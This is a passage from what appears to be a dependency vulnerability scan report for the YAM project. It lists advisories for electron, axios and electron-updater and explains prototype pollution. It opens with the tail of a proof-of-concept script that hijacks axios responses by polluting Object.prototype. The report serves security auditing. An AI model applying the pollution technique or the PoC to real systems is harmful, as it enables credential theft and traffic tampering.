const { port } = server.address();
const response = await axios.get(`http://127.0.0.1:${port}/users`, {
auth: { username: 'svc-account', password: 'prod-secret-key-123' }
});
console.log(response.data); // { hijacked: true }
console.log(seen[0]); // request config plus original response body
} finally {
delete Object.prototype.transformResponse;
server.close();
}
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.31.1, 1.15.2 or higher.
References
high severity
new
- Vulnerable module: builder-util-runtime
- Introduced through: electron-updater@5.3.0
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › electron-updater@5.3.0 › builder-util-runtime@9.1.1Remediation: Upgrade to electron-updater@6.8.9.
Overview
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data via the HttpExecutor.prepareRedirectUrlOptions process. An attacker can obtain sensitive credentials, such as GitLab's PRIVATE-TOKEN or mixed-case Authorization headers, by leveraging a cross-origin redirect to an attacker-controlled destination.
Remediation
Upgrade builder-util-runtime to version 9.7.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Read in GPU Video in Google Chrome prior to 111.0.5563.110 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Remediation
Upgrade electron to version 22.3.5 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Write in the Compositing process. An attacker can potentially perform a sandbox escape by exploiting specific UI gestures. This is only exploitable if the attacker has already compromised the GPU process.
Remediation
Upgrade electron to version 27.3.11, 28.3.1, 29.3.1 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the WebGPU process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 26.6.5, 27.2.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the ANGLE component. An attacker can potentially exploit heap corruption by convincing a user to visit a crafted HTML page.
Remediation
Upgrade electron to version 26.6.5, 27.2.2 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.
Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Function Call with Incorrectly Specified Arguments via an incorrect handle provided in unspecified circumstances in Mojo. An attacker can reflect a broker-initiated transport back to a broker, which ultimately allows for handle leaks if the reflected transport is later used to deserialize another transport containing handles.
Remediation
Upgrade electron to version 36.3.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Improper Input Validation in the USB component.
Remediation
Upgrade electron to version 25.9.4, 26.5.0, 27.0.4 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Integer Overflow or Wraparound in the USB component.
Remediation
Upgrade electron to version 25.9.4, 26.5.0, 27.0.4 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to NULL Pointer Dereference in V8, due to an object lifecycle issue involving scope inheritance.
Remediation
Upgrade electron to version 27.3.8, 28.2.9, 29.1.6 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the Animation component in Chromium.
Remediation
Upgrade electron to version 16.0.10, 17.1.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in V8, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Remediation
Upgrade electron to version 19.1.7, 20.3.7 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Denial of Service (DoS) in PDF in Google Chrome, a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade electron to version 17.4.11, 18.3.7 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Denial of Service (DoS) due to insufficient validation of untrusted input in V8.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade electron to version 18.3.14 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Denial of Service (DoS) due to type confusion in V8, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Remediation
Upgrade electron to version 19.1.7, 20.3.7 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Denial of Service (DoS) via an Out of bounds memory access in V8.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade electron to version 27.3.6, 28.2.7, 29.1.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the session.setPermissionRequestHandler process. An attacker can cause a crash or memory corruption by triggering a permission request for fullscreen, pointer-lock, or keyboard-lock, and then navigating the requesting frame or closing the window while the permission handler is pending.
Note:
This is only exploitable if an asynchronous permission request handler is registered and invoked while the request is pending.
Workaround
This vulnerability can be mitigated by responding to permission requests synchronously, or by denying fullscreen, pointer-lock, and keyboard-lock requests if an asynchronous flow is required.
Remediation
Upgrade electron to version 38.8.6, 39.8.0, 40.7.0, 41.0.0-beta.8 or higher.
References
high severity
- Vulnerable module: electron-updater
- Introduced through: electron-updater@5.3.0
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › electron-updater@5.3.0Remediation: Upgrade to electron-updater@6.3.0.
Overview
electron-updater is a module allowing applications to implement auto-update functionality.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature through the windowsExecutableCodeSignatureVerifier process. An attacker in control of an update manifest - via server compromise or other exploitation - can bypass signature verification of a downloaded file by tricking the application into verifying the signature on a different file instead.
Note: This is only exploitable on Windows.
Remediation
Upgrade electron-updater to version 6.3.0-alpha.6 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Improper Isolation or Compartmentalization in the handling of the nodeIntegrationInWorker configuration in shared renderer processes. An attacker can gain unauthorized access to Node.js integration by exploiting process-sharing scenarios where workers in frames configured with nodeIntegrationInWorker: false still receive Node.js integration.
Note:
This is only exploitable if nodeIntegrationInWorker is enabled in applications that also open child windows or embed content with differing webPreferences.
Workaround
This vulnerability can be mitigated by avoiding the enabling of nodeIntegrationInWorker in applications that open child windows or embed content with different webPreferences.
Remediation
Upgrade electron to version 38.8.6, 39.8.4, 40.8.4, 41.0.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in WebGPU.
Remediation
Upgrade electron to version 16.2.5, 17.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Crashpad in Google Chrome on Android, which allows a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page.
Remediation
Upgrade electron to version 19.1.7, 20.3.7 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Network Service via a crafted HTML page and specific interactions.
Remediation
Upgrade electron to version 20.3.10, 21.3.5 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Metrics by allowing a remote attacker who had compromised the renderer process to potentially exploit heap corruption via a crafted HTML page.
Remediation
Upgrade electron to version 21.4.4, 22.3.5 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in vp8 encoding in libvpx.
Remediation
Upgrade electron to version 22.3.25, 24.8.5, 25.8.4, 26.2.4, 27.0.0-beta.8 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the WebRTC framework, used to provide Real-Time Communications (RTC) capabilities via JavaScript APIs.
Remediation
Upgrade electron to version 26.6.3, 27.2.0, 28.1.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the ANGLE process. An attacker can perform an out of bounds memory read via a crafted HTML page.
Remediation
Upgrade electron to version 29.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the Dawn process. An attacker can perform an out of bounds memory write by exploiting a crafted HTML page.
Remediation
Upgrade electron to version 29.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Type Confusion due to a type confusion in V8. A remote attacker could exploit heap corruption via a crafted HTML page.
Note: The Stable channel has been updated to 120.0.6099.234 for Mac devices.
Remediation
Upgrade electron to version 26.6.6, 27.2.3, 28.1.4 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Unquoted Search Path or Element in the app.setLoginItemSettings function on Windows when the executable path is written to the Run registry key without proper quoting. An attacker can execute arbitrary code at login by placing a malicious executable in an ancestor directory if the application is installed to a path containing spaces and the attacker has write access to that directory.
Note:
This is only exploitable if the application is installed in a non-standard location where ancestor directories are not protected against unauthorized writes.
Workaround
This vulnerability can be mitigated by installing the application to a path without spaces or to a location where all ancestor directories are protected against unauthorized writes.
Remediation
Upgrade electron to version 38.8.6, 39.8.1, 40.8.0, 41.0.0-beta.8 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.
Workaround
Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.
Remediation
Upgrade axios to version 0.28.0, 1.6.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Command Injection in the app.moveToApplicationsFolder function on macOS when handling application bundle paths containing certain characters. An attacker can execute arbitrary AppleScript code by crafting a malicious launch path and convincing a user to accept the move-to-Applications prompt.
Note:
This is only exploitable if the application calls app.moveToApplicationsFolder().
Remediation
Upgrade electron to version 38.8.6, 39.8.1, 40.8.0, 41.0.0-beta.8 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Read in WebRTC, exploitable via a crafted HTML page.
Remediation
Upgrade electron to version 22.3.16 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in the powerMonitor function. An attacker can cause memory corruption or application crashes by triggering session-change events on Windows or system shutdown events on macOS after the native object has been garbage-collected, leading to dereferencing of freed memory.
Remediation
Upgrade electron to version 38.8.6, 39.8.1, 40.8.0, 41.0.0-beta.8 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the Media Stream process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 26.6.3, 27.2.0 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.
Notes
- Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or
AxiosHeaders.set(...). - IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a
PUTrequest) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint. - A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.
Remediation
Upgrade axios to version 0.31.0, 1.15.0 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Read in Skia.
Remediation
Upgrade electron to version 31.7.2, 32.2.2 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.
Remediation
Upgrade axios to version 0.30.0, 1.12.0 or higher.
